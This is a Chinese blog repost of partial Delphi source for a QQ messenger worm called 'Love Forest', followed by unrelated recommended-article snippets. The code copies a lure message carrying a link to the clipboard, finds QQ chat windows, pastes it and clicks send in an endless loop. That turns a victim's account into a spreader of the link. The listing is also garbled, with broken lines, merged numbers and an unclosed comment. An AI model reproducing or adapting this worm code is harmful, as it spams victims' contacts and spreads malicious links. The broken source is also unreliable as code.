爱情森林病毒部分源代码

转载 2007年09月27日 23:45:00
爱情森林病毒部分源代码 ,有空学习学习,善与恶的距离只有一步,用的对了就是善良的。
unit qqworm; 
interface 

uses 
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, forms, 
Dialogs, StdCtrls, ExtCtrls, ComCtrls; 

private 
    
{ Private declarations } 
    procedure MySendMessage;
    procedure MyTalkEach; 
public 
     procedure QQStart;
    
{ Public declarations } 
end; 


implementation 

{$R *.dfm} 

procedure MySendMessage; 
var 
hParent,hButton,hMemo,clp: HWND;
texta:TCustomEdit; 
begin 
texta:
='btw...给你一个惊喜——exf.ecv.tk';
texta.CopyToClipBoard;      
try 
// 找发送消息的QQ 窗口 
    hParent := FindWindow(nil, '发送消息'); 
// 然后找回话时用的编辑窗口,Point 函数用于返回一个TPoint 类型变量 
    hMemo := ChildWindowFromPointEx(hParent, Point(50100),CWP_ALL); 
// 找到“送讯息”按钮的句柄 
    hButton := FindWindowEx(hParent,0,nil,'送讯息(&S)'); 
    
if (hParent = 0) or (hMemo = 0) or (hButton = 0) then 
        
{MessageBox(Handle,' 没有找到发送窗口,请重试! ',' 错误',     MB_ICONWARNING)}
         MyTalkEach
    
else 
        begin 
// 向发送消息中的回话编辑框发送粘贴消息 
        SendMessage(hMemo,WM_PASTE,0,0); 
// 向“送讯息”按钮送单击消息以模仿按键发送回话 
        SendMessage(hButton,BM_CLICK,0,0); 
    end; 
except 
// 如果发生意外错误给出提示 
    MyTalkEach;
    
{MessageBox(Handle,' 发送消息出错,请重试! ' , ' 错误' ,     MB_ICONWARNING); 

end; 

end; 
procedure MyTalkEach; 
var 
hParent,hButton,hMemo: HWND; 
texta:TCustomEdit; 
begin 
texta:
='btw...给你一个惊喜——exf.ecv.tk';
texta.CopyToClipBoard;  

try 
// 找对话模式中窗口 
//ShowMessage('test'); 
hParent := FindWindow(nil, '对话模式'); 
// 找到对话模式中的回话编辑框 
hMemo := ChildWindowFromPointEx(hParent, Point(50300), 
CWP_ALL); 
hButton :
= FindWindowEx(hParent,0,nil,'送讯息(&S)'); 
// 如果有任何一个句柄没有找到都不能完成发送,并给出提示 
//if hMemo=0 then 
//     ShowMessage('1'); 
if (hParent = 0) or (hMemo = 0) or (hButton = 0) then begin 
{MessageBox(Handle,' 没有找到发送窗口,请切换到双人对话模式! ',' 错误'
MB_ICONWARNING);}

MySendMessage; 
//ShowMessage('go'); 
end 
else 
begin 
// 向对话模式中的回话编辑框发送粘贴消息 
    SendMessage(hMemo,WM_PASTE,0,0); 
// 向“送讯息”按钮送单击消息以模仿按键发送回话 
SendMessage(hButton,BM_CLICK,0,0); 
end; 
except 
// 如果发生意外错误给出提示 
MySendMessage;
{MessageBox(Handle,' 发送消息出错,请重试! ' , ' 错误' , 
MB_ICONWARNING);}
 
end; 
end; 

procedure QQStart;
var
k:integer;
Begin
k:
=0;
while k=0 do
Begin
Sleep(
500);
MySendMessage;
End;

相关文章推荐

Symbian 应用程序框架浅析

S60应用程序的运行依赖于大量的OS组件,例如屏幕绘图和应用程序数据持久性等,可以直接使用OS的窗口服务器或者文件服务器即可。 应用程序核心框架类应用程序框架由一套核心类组成,这些类是所有应用程序框架...

Eclipse常用配置

Eclipse常用配置介绍 以下是项目中所使用的eclipse需要配置的地方, 相关工具软件放在(\\172.20.17.126\tools),配置文件放在(http://tech.xiaoni...

Drools的另类用法--模板使用,以及与Spring集成

简述 Drools的用法非常多,功能也非常强大,本文不讨论具体语法以及使用,主要分享一下在使用过程中一种比较另类的思路,由于本人未使用过Drools历史版本,故没有对比,所有讨论都基于Drools ...

ORACLE的索引和约束

http://oracle.chinaitlab.com/induction/716861.html如果某个约束只作用于单独的字段,即可以在字段级定义约束,也可以在表级定义约束,但如果某个约束作用于多...

输出广告

data segment new1 db impossible is nothing,13,10,$ new2 db newsb,13,10,$ new3 db newsc,13,10,$ new4...

页面之间嵌套

maven中央库连接不成功解决办法

解决办法:    修改hosts文件,新增一行

常用限制input标签的方法

1.取消按钮按下时的虚线框,在input里添加属性值 hideFocus 或者 HideFocus=true  input type="submit" value="提交" hid...

java项目打包成exe文件

前言: 我们都知道Java可以将二进制程序打包成可执行jar文件,双击这个jar和双击exe效果是一样一样的,但感觉还是不同。其实将java程序打包成exe也需要这个可执行jar文件。 准备: ecl...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:深度学习:神经网络中的前向传播和反向传播算法推导
举报原因:
原因补充:

(最多只允许输入30个字)